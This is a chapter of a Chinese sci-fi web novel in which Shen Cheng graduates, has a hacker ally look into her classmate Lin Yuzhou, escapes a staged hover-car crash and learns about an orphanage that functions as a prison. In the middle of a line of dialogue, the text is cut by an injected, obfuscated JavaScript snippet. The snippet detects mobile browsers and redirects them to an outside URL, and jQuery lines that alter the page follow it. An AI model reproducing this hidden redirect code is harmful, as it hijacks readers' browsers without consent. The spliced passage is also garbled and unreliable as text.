“徐讲师。”沈澄在大脑中检索到了讲师的信息，莫非是有信息领域的大佬闲得没事查出她有造假的课程数据，自己真的要延毕了吧…
“小沈啊，入梦师需要掌握的理论知识你都学的差不多了。”徐讲师扶了扶架在鼻梁上的镜框，素日不苟言笑的他，此刻的脸上也多出了些许笑意。
他对沈澄的印象极为深刻，学习进度总能赶超别人一大截，在学业测评上得到的多评成绩却两极分化原因无他，就是沈澄的作答没有教材上的那么规范。
“恭喜你成功毕业。不过，你之后还要去一个名为‘唤醒’的专业入梦师机构参加实训，实训通过后官方才能正式授予你入梦师的资格证。”似乎是想到了什么，他的神情变得黯淡，“进去后坚持过了实训，你会有质的改变。我曾经带过一个资质一般但是很上进的学生…”
徐讲师没有就这个话题再谈下去，他作为教育基地的公修课讲师，掌握的信息自然更多一些，那个学生没坚持下来退出了入梦师的实训，后续也没了信息。把沈澄叫出来也是起了爱才之心，“成为入梦师后，谨慎为上，那里面的水，深得稍不留神就会跌落其中。”
有人拜托他提前和预备入梦师建立联系，方便后续的拉拢，他拒绝了。他自己也没有依附于某一特定的世家，知晓普通公民想往上走的困难。
这个世界发展得的确很迅速，相应地，也付出了一些代价，比如人性。
“谢谢。”沈澄接受了徐讲师的善意，点头致谢。
徐讲师欣慰地看了她一眼，转身回到了公修课教室内。
不会的。
沈澄在原地站了一会才回到了章婧身旁的座位上，静默和在教堂祷告并无不同，大部分人都紧闭着眼。
她的短期同伴们没这么虔诚，张连雨的头止不住地往下栽，像拧了发条的玩偶小人，吸引着章婧来观察。
视线一转和那个睡觉兄对上了，自己吵醒他的？沈澄想，进来的动静应该也没有很大，一定是他的的静默不够虔诚。
“在想他是谁？”章婧的注意力转移到她身上，冷不丁出声问道。
“没，在想是不是自己打扰到他睡觉了。”
“林余舟，和我一样，他也是公共管理专业的。”章婧表情有些一言难尽，“算学长也是同班同学，因各种奇葩原因留级了几年，成为了我们专业的一道著名风景，不过，成为著名风景也有外貌的加成。”
“或许吧。”沈澄的目光在他脸上停留了一瞬，很快便移开。
总觉得这张脸有些熟悉，一时想不起来便也不再去想。
钟声再次响起，静默结束。
“我以祂之名宣誓…”
“我将倾尽我所有…”
“忠于人类…”
徐讲师口中的那个学生…是邓沁吗？沈澄对这种宣誓不感兴趣，谁知道这种宣誓会不会成为某种精神层面的枷锁呢。
特质因子由祂衍生，无人知晓特质因子的全类别。
章婧或许也是这样想的，用一些小手段阻断了张连雨的宣誓进程。
因为那张脸，她的余光也稍微留意了一下，林余舟这人拿着纸笔在桌上写写画画，显然不在宣誓的状态。
等到宣誓结束，林余舟率先起身，推开了教室的大门。
“终于安安稳稳地从教育基地结业了，不容易。”这是章婧的评价。
“的确，很有毅力。”沈澄的双指摁住了林余舟留下的那张画，没让它被风吹走。
一幅场景速写，空旷的走廊里，脖颈上带着芯片的小孩，看不清面容。
“他画的是收容所吗？”在沈澄将折叠画放进口袋前，章婧看到了画的全部内容。
“收容所是什么？”张连雨意识还没完全清醒，只捕捉到了这个关键词。
“没被公民领养的小孩，都会被送到收容所抚养长大。”章婧记得听家里人说过郑家家主的妻子秦笙就是收容所长大的。
“画得还挺好看的，就当初次见面他送我的礼物了。”
“那你是不是还打算回个礼。”
“正有此意。”沈澄抬眼笑道，她在手环上给人发完了信息，“我还有事，先走了。”
章婧意识到待在沈澄身边，只会让自己在家里苦心经营的稳重人设毁于一旦，好在她们以后也不会有过多的交集。
“记得通过好友申请，darling！”沈澄没走几步，像是看穿了她的心思，回头叮嘱着。
看来是躲不开了，章婧勉为其难地通过了申请。
沈澄沿着原路离开，基地的电子屏幕在她走后滚动出一则信息，占据了整个天空，循环了整整三遍才消失。
“恭喜公共管理风景线成功毕业，恭喜公共管理…”
林余舟朋友的恶搞吗？还是她口中的回礼？
沈澄出了基地大门后，一辆悬浮车停在身侧，她拉开门，坐进了主驾驶。
车是通过嗜睡的渠道买的，抹除了信息，有这座城市的最高通行权限，也不受监察器的监测。
她用这些年在灰网上挣到的酬金在013号城市买了房，大多数房都被租了出去，就算没通过入梦师的实训，沈澄也不需要担心自己的后半生。
最危险的地方，就是最安全的地方。沈澄常住的公寓就在检查中心对面，所在的小区保密性极高。
行程安排得很紧，收拾好换洗的衣物就要去‘唤醒’报道，沈澄倒是看得开，她将这种行程戏称为“锻炼”。
虽然悬浮车是自动驾驶，但沈澄还是喜欢将左手搭在方向盘上，应对某些突发情况。
“帮我查个人。”电话接通后，沈澄直接切入主题，“林余舟，双木林，剩余的余，载舟覆舟的舟。”
“报名字有点多余了啊，这不就刚刚那个？质疑我的记忆力？”嗜睡敲下最后一个字，数据信息从各处通过他的设备涌入大脑，“他的人生经历很普通，父母双亡，进入教育基地学习，成绩优秀，前年结业考试缺考，去年没参加最后一节公修课，今年顺利结业。”
“查一下他父母领养他的信息。”等信号灯变成绿色，沈澄就驱动着车向前开。
“他父母应该在Z107年领养孩子的，但是没有领养，还被罚了款
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17376623|200098||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。6年后申报领养了捡来的小孩，这个小孩就是……”
沈澄还没听完嗜睡的话，精神力囊括的领域产生了波动，波动从右侧方向传来。她搭在方向盘上的手猛地发力，方向盘逆时针打到最满，然后刹停。
“砰——”在她左前方的悬浮车遭受了剧烈的撞击自燃起来，肇事车辆外壳涂了短期的隐形涂料，在高温下逐渐失效。
“肇事车是无人驾驶，没有编号，扰梦者和世家二选一。”嗜睡那头听见动静后，直接入侵了交通口的监控，看到了现场画面。
“先走，人还活着，驻军快来了。我已经把求援信息发给了上面的一艘民用飞船，里面有医护人员，医疗舱的权限会对她全权开放。”虽然没有编号，查不到肇事车辆的来源，但嗜睡通过分析监察器记录下来的车的轨迹，做出了判断，“如果现在还有彩票的话，你可以一夜暴富了。”
有两个方向传来了波动，沈澄一脚油门驶离了路口，选择了重新规划好的一条路线。
“那个方兴你查过了吗？”
“嗯，虽然很隐蔽，但总是会留下痕迹的，他和扰梦者的人接触过，血液里注射了能够腐蚀材料罐的药剂，不过扰梦者那边应该也不知道实验室要运的是什么东西。”
“所以这次也是扰梦者的行动之一？就为了扰乱秩序，引发公民恐慌？”沈澄驾驶着悬浮车绕过各式各样的建筑。
“99%正确。”
“扰梦者内部的激进派还没被踹下来？”沈澄在灰网上被扰梦者组织的人招揽过，她拒绝了。
扰梦者和世家作对，想为普通公民争取权益，建立新的权力秩序。想法可取，但内部的分裂成为了他们最大的阻碍。
“显然没有，那个林余舟还要继续查吗？”确认被撞的悬浮车里的人获救后，嗜睡关闭了监察器的窗口。
“不用了。”沈澄共享着情报，“他认识我，送了我一张画，画的是收容所。”
“他是收容所的人？啧…”收容所对外是抚养没被公民领养的小孩，但只有少数人知道收容所是一座“牢狱”，分为内圈和外圈，内圈是经过因子筛选后的“优质女性”，外圈是实验室的中转站。嗜睡恰好属于那部分少数人，但他感觉自己忽略了什么。
“是的。”通讯被沈澄单方面切断了。
听着电话传来的“嘟嘟”声，嗜睡在通讯被切断的一瞬想通了什么，旋转椅在此时顺应了主人的意愿，变成了躺椅，容纳着嗜睡受惊的灵魂。
“他认识我…收容所…”柠檬的话在他耳边3D环绕着。
没理解错的话，柠檬是从收容所内圈逃出来的人。
自己的脑子当时怎么没转过来啊…嗜睡抽了张纸绝望地盖住了自己的眼睛。
这是柠檬第一次主动透露真实身份的相关信息，虽然自己之前有猜测过她的身世悲惨，也没把柠檬和“从收容所内圈逃出来的人”做过联想。
收容所有专门的军队负责看守，打着保护的旗号对里面的人进行监管。小时候的柠檬能从收容所逃出来，概率几乎为零，除非有内部人员的帮助，也不是没可能的。